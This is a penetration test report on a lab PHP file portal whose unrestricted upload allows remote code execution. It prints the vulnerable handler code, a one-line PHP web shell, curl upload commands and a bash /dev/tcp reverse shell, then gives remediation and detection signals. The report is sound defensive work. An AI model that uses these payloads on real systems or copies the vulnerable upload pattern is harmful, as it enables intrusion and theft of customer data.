OFFENSIVE SECURITY · CONFIDENTIAL

Xcerberus File Portal Penetration Test Report

Critical Remote Code Execution via Unrestricted File Upload

Engagement: Internal web application assessment (authorised, isolated lab)

Target: Xcerberus File Portal — support document intake (PHP 8.3.6)

Assessor: Goutham · **Report date:** 24 October 2026

Severity: HIGH · CVSS 8.8 (Critical 9.8 if upload is reachable pre-auth)

TLP:AMBER — handle as confidential. All data in this lab is synthetic.

1. Executive Summary

Xcerberus commissioned an authorised penetration test of the **File Portal**, an internal web application that lets support staff upload documents (screenshots, logs, PDFs) against customer tickets. The assessment identified a **single critical-class vulnerability** that allows an authenticated user to execute arbitrary operating-system commands on the web server and obtain a full interactive shell.

The portal's document-upload feature performs **no validation of file type or content**. The assessor uploaded a small PHP file disguised as a "document", and because the server executes PHP from the upload directory, requesting that file ran attacker-chosen commands. This was escalated to an interactive **reverse shell**, from which the assessor read a synthetic customer-PII dataset and demonstrated the ability to pivot into the internal `10.0.0.0/24` network — all non-destructively.

> **Business impact.** An attacker with any staff login (or a reused/leaked credential) can take full control of the server hosting the portal, steal customer data, deface or ransom the service, and use the host as a foothold into Xcerberus's internal network. This is a direct confidentiality, integrity and availability breach of a customer-facing system.

Finding	Unrestricted file upload leading to remote code execution (RCE)
Severity	HIGH — CVSS 3.1 Base 8.8
Likelihood	High — trivially exploitable with common tooling; no memory-corruption or timing needed
Status	Confirmed & reproduced · lab torn down after evidence capture

2. Finding Detail — Unrestricted File Upload → RCE

Identifier	ACME-2026-001
Classification	CWE-434: Unrestricted Upload of File with Dangerous Type · OWASP A05:2021 (Security Misconfiguration) / A03 (Injection)
Affected component	Document upload handler — `portal.php` (`move_uploaded_file()` with client-supplied name)
Technology	PHP **8.3.6** (built-in `php -S` server), version disclosed via `X-Powered-By`
CVSS 3.1 vector	`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` → **Base 8.8 (High)**
Pre-auth variant	If the upload endpoint is reachable without authentication (guest tickets), `PR:N` → **9.8 Critical**

Root cause

The upload handler saves the uploaded file into a web-served directory using the **client-controlled filename and extension**, with no allow-list, MIME check, content inspection, or execution guard:

```
// portal.php — vulnerable handler (abridged)
$name = basename($_FILES['doc']['name']);   // client-controlled, not sanitised
$dest = $dir . '/' . $name;                 // original .php extension preserved
move_uploaded_file($_FILES['doc']['tmp_name'], $dest);  // saved into web-served uploads/
```

Because PHP executes any `.php` file under the webroot, an uploaded script becomes remotely executable code.

3. Reproduction Steps

Phase 1 — Recon (service fingerprint)

```
$ nmap -sV -p8080 127.0.0.1
PORT     STATE SERVICE VERSION
8080/tcp open  http    PHP cli server 5.5 or later (PHP 8.3.6)

$ whatweb http://127.0.0.1:8080/
PHP[8.3.6]  X-Powered-By[PHP/8.3.6]  Cookies[PHPSESSID]
Title[Xcerberus File Portal — Sign in]
```

Supporting: `nikto` flagged the disclosed `X-Powered-By` header, a missing `X-Frame-Options` header, and a `PHPSESSID` cookie set without the `HttpOnly` flag.

Phase 2 — Identify

PHP 8.3.6 is disclosed; the application exposes a staff login and, after authentication, a document-upload feature — a classic unrestricted-upload candidate.

Phase 3 — Exploit (upload → code execution)

```
$ curl -s -c c.txt -d 'username=support&password=***' http://127.0.0.1:8080/index.php   # login 302
$ printf '%s' '<?php system($_GET["cmd"]); ?>' > diag.php
$ curl -s -b c.txt -F 'doc=@diag.php' http://127.0.0.1:8080/portal.php             # upload 200
$ curl -s 'http://127.0.0.1:8080/uploads/diag.php?cmd=id'
uid=1000(azureuser) gid=1000(azureuser) groups=1000(azureuser),27(sudo),...
>> REMOTE CODE EXECUTION CONFIRMED as the web-server user
```

Phase 4 — Interactive reverse shell

```
$ socat TCP-LISTEN:4444,bind=127.0.0.1 -     # attacker listener
# trigger via web shell: cmd=bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'
azureuser@ces-ai-node-05:~/acme_portal/app/uploads$ whoami; id; hostname
azureuser
ces-ai-node-05
```

Phase 5 — Impact (non-destructive)

```
$ cat ~/acme_portal/confidential/customers_pii.csv
customer_id,full_name,email,phone,plan,card_last4,monthly_value_usd
AC-10231,Priya Nair,priya.nair@example.com,+1-312-555-0148,Enterprise,4417,4200
AC-10244,Marcus Bell,marcus.bell@example.com,...          (5 synthetic records read)
$ ip -brief addr
eth0  UP  10.0.0.5/24                              # internal pivot surface
```

> **Demonstrated impact:** full command execution as the web-server account, read of confidential (synthetic) customer PII, and visibility of the internal subnet for lateral movement. No data was modified or destroyed; the uploaded artefact was removed during tear-down.

4. Remediation

Fix the vulnerability *class*, then add defence-in-depth so a bypass cannot reach code execution.

Primary fix — the upload handler

- **Allow-list by content, not by name.** Verify the real file type (magic bytes / `finfo`) and accept only the formats the business needs (PNG, JPG, PDF, TXT, LOG). Reject everything else.
- **Never trust the client filename.** Generate a random server-side name (e.g. UUID) and set the extension from the validated type.
- **Store uploads outside the webroot.** Serve them back only through a script that streams bytes with a forced `Content-Disposition: attachment` and a non-executable content type.

Defence-in-depth (compensating controls)

Disable execution	On the upload path: `php_admin_flag engine off` (Apache) or no PHP handler (nginx); deny `*.php*` in that directory.
Harden PHP	`disable_functions = system,exec,shell_exec,passthru,proc_open,popen`; disable `SOAP` if unused; run `open_basedir`.
Patch management	Treat PHP RCEs as emergency patches. Track and apply fixes such as **CVE-2026-6722** (PHP SOAP use-after-free, critical RCE class) within the critical-SLA window.
WAF virtual-patch	Block multipart uploads whose content resolves to PHP, and query strings containing `cmd=`/shell keywords, until the code fix ships.
Least privilege	Run the web role as an unprivileged, no-sudo account with a read-only webroot and a single writable, no-exec upload mount.
Egress filtering	Default-deny outbound from web hosts. This alone neutralises reverse shells (the connect-back to :4444 would fail).
Credentials	Enforce unique, strong staff passwords + MFA; the single shared portal login widens the blast radius.

5. Detection & Blue-Team Telemetry

Had monitoring been in place, this attack would have produced several high-fidelity signals:

Web access logs	`POST /portal.php` immediately followed by requests to a **newly created** `.php` under `/uploads/`; query strings containing `?cmd=` and shell syntax (`/dev/tcp`, `bash -i`).
Filesystem	File-integrity / FIM alert: a new executable script appears in the writable upload directory (unexpected `.php`).
Process telemetry	The web process (`php` / `php-fpm`) **spawning** `bash`, `sh`, `curl` **or** `socat` — a web server should never fork a shell.
Network	**Unexpected outbound TCP** from the web host (the reverse-shell connect-back), caught by egress monitoring / NetFlow.

> **Observed in this test:** the lab web log recorded the upload `POST`, the creation of `uploads/diag.php`, and the subsequent `GET /uploads/diag.php?cmd=...` requests — including the reverse-shell one-liner in cleartext in the URL. These are directly alertable in any SIEM.

6. Scope, Ethics & Appendix

- **Authorisation:** conducted in the assessor's own isolated lab with explicit authorisation. All traffic was confined to `127.0.0.1` on a single host; no third-party or production system was touched.
- **Data:** all "customer" records are fabricated for demonstration. No real personal data exists in the lab.
- **Clean-up:** the vulnerable application, uploaded web shell, and listener were removed after evidence capture.
- **Tooling:** `nmap` , `whatweb` , `nikto` , `curl` , `socat` — all standard, widely documented assessment utilities.

Report prepared by Goutham · 24 October 2026 · This document and the accompanying video are a defensive, educational demonstration: every offensive step is paired with its detection signal and remediation.